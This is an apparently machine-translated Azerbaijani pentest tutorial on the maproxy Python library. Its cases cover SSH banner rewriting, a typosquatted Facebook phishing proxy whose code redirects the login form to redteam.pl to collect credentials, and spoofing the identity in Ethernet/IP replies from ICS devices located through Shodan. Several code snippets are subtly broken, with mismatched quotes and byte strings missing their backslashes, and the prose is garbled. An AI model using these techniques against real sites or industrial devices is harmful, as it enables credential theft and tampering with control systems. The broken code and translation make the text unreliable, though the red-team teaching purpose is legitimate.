Tez şəbəkə məlumatlarını emal edin

Məqalənin tərcüməsi kursun başlaması ərəfəsində hazırlanıb “Pentest. Nüfuz testi təcrübəsi".

Tez şəbəkə məlumatlarını emal edin

Mücərrəd

Müntəzəm nüfuz testindən və Qırmızı Komanda əməliyyatlarından tutmuş IoT/ICS cihazlarının və SCADA-nın sındırılmasına qədər müxtəlif növ təhlükəsizlik qiymətləndirmələri ikili şəbəkə protokolları ilə işləməyi, yəni müştəri ilə hədəf arasında şəbəkə məlumatlarının mahiyyətcə tutulmasını və dəyişdirilməsini əhatə edir. Wireshark, Tcpdump və ya Scapy kimi alətlərimiz olduğu üçün şəbəkə trafikini iyləmək çətin məsələ deyil, lakin modifikasiya daha çox əmək tutumlu iş kimi görünür, çünki şəbəkə məlumatlarını oxumaq, filtrləmək, dəyişdirmək üçün bir növ interfeysə ehtiyacımız olacaq. tez və demək olar ki, real vaxt hədəf host geri göndərin. Bundan əlavə, belə bir alət avtomatik olaraq birdən çox paralel əlaqə ilə işləyə bilsə və skriptlərdən istifadə edərək fərdiləşdirilə bilsə, ideal olardı.

Bir gün mən adlı bir alət kəşf etdim maproxy, sənədlər tez bir zamanda mənə bunu aydınlaşdırdı maproxy - sadəcə mənə lazım olan şey. Bu, kifayət qədər sadə, çox yönlü və asanlıqla konfiqurasiya edilə bilən TCP proksisidir. Mən bu aləti bir neçə kifayət qədər mürəkkəb proqramda, o cümlədən ICS cihazlarında (çoxlu paketlər yaradan) sınaqdan keçirdim ki, o, bir çox paralel bağlantıları idarə edə bilir və alət yaxşı işləyir.

Bu məqalə sizi şəbəkə məlumatlarını istifadə edərək tez bir zamanda emal etməklə tanış edəcək maproxy.

Review

Alət maproxy Python-da məşhur və yetkin asinxron şəbəkə çərçivəsi olan Tornado-ya əsaslanır.

Ümumiyyətlə, bir neçə rejimdə işləyə bilər:

  • TCP:TCP – şifrələnməmiş TCP əlaqələri;
  • TCP:SSL и SSL:TCP – birtərəfli şifrələmə ilə;
  • SSL:SSL - ikitərəfli şifrələmə.

Kitabxana kimi gəlir. Tez bir başlanğıc üçün əsası əks etdirən nümunə fayllarından istifadə edə bilərsiniz kitabxana funksiyaları:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

1-ci hal – sadə iki istiqamətli proxy

Əsasən tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Qiyabi ProxyServer() iki arqument götürür - əlaqə yeri və hədəf port. server.listen() bir arqument götürür - daxil olan əlaqəni dinləmək üçün port.

Skriptin icrası:

# python tcp2tcp.py

Testi həyata keçirmək üçün biz proksi skriptimiz vasitəsilə yerli SSH serverinə qoşulacağıq. 2222/tcp port və standart porta qoşulur 22/tcp SSH serverləri:

Tez şəbəkə məlumatlarını emal edin

Xoş gəlmisiniz pankartı sizə xəbər verir ki, nümunə skriptimiz şəbəkə trafikini uğurla proksiləşdirib.

2-ci hal – verilənlərin dəyişdirilməsi

Başqa bir demo skripti logging_proxy.py şəbəkə məlumatları ilə qarşılıqlı əlaqə üçün idealdır. Fayldakı şərhlər məqsədinizə çatmaq üçün dəyişdirə biləcəyiniz sinif üsullarını təsvir edir:

Tez şəbəkə məlumatlarını emal edin

Ən maraqlısı buradadır:

  • on_c2p_done_read – müştəridən serverə gedən yolda verilənləri tutmaq;
  • on_p2s_done_read - tərs.

Serverin müştəriyə qaytardığı SSH bannerini dəyişməyə cəhd edək:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Skripti icra edin:

Tez şəbəkə məlumatlarını emal edin

Gördüyünüz kimi, müştərinin SSH server adı dəyişdirildiyi üçün onu yanıltdılar «DumnySSH».

Tez şəbəkə məlumatlarını emal edin

3-cü hal – sadə fişinq veb səhifəsi

Bu alətdən istifadə etməyin sonsuz yolları var. Bu dəfə gəlin Qırmızı Komandanın əməliyyatları tərəfdən daha praktik bir şeyə diqqət edək. Gəlin açılış səhifəsini təqlid edək m.facebook.com və qəsdən yazı səhvi ilə fərdi domendən istifadə edin, məsələn, m.facebok.com. Nümayiş məqsədləri üçün, fərz edək ki, domeni bizim tərəfimizdən qeydiyyatdan keçirib.

Biz qurbanlarımızın proxy və SSL Stream ilə Facebook serverinə şifrələnməmiş şəbəkə bağlantısı quracağıq (31.13.81.36). Bu nümunənin işləməsi üçün HTTP host başlığını dəyişdirməli və düzgün host adını daxil etməliyik və məzmuna asanlıqla daxil olmaq üçün cavab sıxılmasını da söndürəcəyik. Nəhayət, biz HTML formasını əvəz edəcəyik ki, giriş etimadnamələri Facebook serverləri əvəzinə bizə göndərilsin:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/az/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Xülasə:

Tez şəbəkə məlumatlarını emal edin

Gördüyünüz kimi, biz orijinal saytı uğurla əvəz edə bildik.

4-cü hal – Ethernet/IP daşınması

Mən bir müddətdir ki, sənaye cihazları və proqram təminatı (ICS/SCADA) ilə məşğul oluram, məsələn, proqramlaşdırıla bilən kontrollerlər (PLC), I/O modulları, sürücülər, relelər, nərdivan proqramlaşdırma mühitləri və daha çox. Bu hal sənaye şeylərini sevənlər üçündür. Belə həllərin sındırılması şəbəkə protokolları ilə aktiv şəkildə oynamağı nəzərdə tutur. Aşağıdakı nümunədə ICS/SCADA şəbəkə trafikini necə dəyişdirə biləcəyinizi göstərmək istərdim.

Bunun üçün sizə aşağıdakılar lazım olacaq:

  • Şəbəkə sniffer, məsələn, Wireshark;
  • Ethernet/IP və ya sadəcə SIP cihazı, siz onu Shodan xidmətindən istifadə edərək tapa bilərsiniz;
  • Skriptimiz buna əsaslanır maproxy.

Əvvəlcə CIP-dən (Ümumi Sənaye Protokolu) tipik identifikasiya cavabının necə göründüyünə baxaq:

Tez şəbəkə məlumatlarını emal edin

Cihazın identifikasiyası CIP kimi nəzarət protokollarını əhatə edən sənaye Ethernet protokolunun təkmilləşdirilmiş versiyası olan Ethernet/IP protokolundan istifadə etməklə həyata keçirilir. Ekran görüntüsündə görünən vurğulanmış ID adını dəyişdirəcəyik Ethernet üçün "NI-IndComm" proxy skriptimizdən istifadə etməklə. Skriptdən yenidən istifadə edə bilərik logging_proxy.py və oxşar şəkildə sinif metodunu dəyişdirin on_p2s_done_read, çünki biz müştəridə fərqli şəxsiyyət adının görünməsini istəyirik.

Kodu:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Prinsipcə, biz iki dəfə cihazın identifikasiyasını istədik, ikinci cavab orijinal idi və birinci cavab dərhal dəyişdirildi.

Və sonuncu

Məncə maproxy Rahat və sadə bir vasitədir, o da Python-da yazılmışdır, ona görə də inanıram ki, siz də istifadə etməkdən faydalana bilərsiniz. Əlbəttə ki, şəbəkə məlumatlarının emalı və dəyişdirilməsi üçün daha mürəkkəb alətlər var, lakin onlar da daha çox diqqət tələb edir və adətən konkret istifadə halları üçün yaradılır, məsələn. Muraena, Modlishka və ya evilginx üçüncü ilə oxşar hallar üçün və ya canape son hal üçün. Bu və ya digər şəkildə, köməyi ilə maproxy nümunə skriptləri çox aydın olduğu üçün şəbəkə məlumatlarını ələ keçirmək üçün öz ideyalarınızı tez həyata keçirə bilərsiniz.

Windows AD-də autentifikasiya mexanizmlərinin sınaqdan keçirilməsi

Mənbə: www.habr.com

Добавить комментарий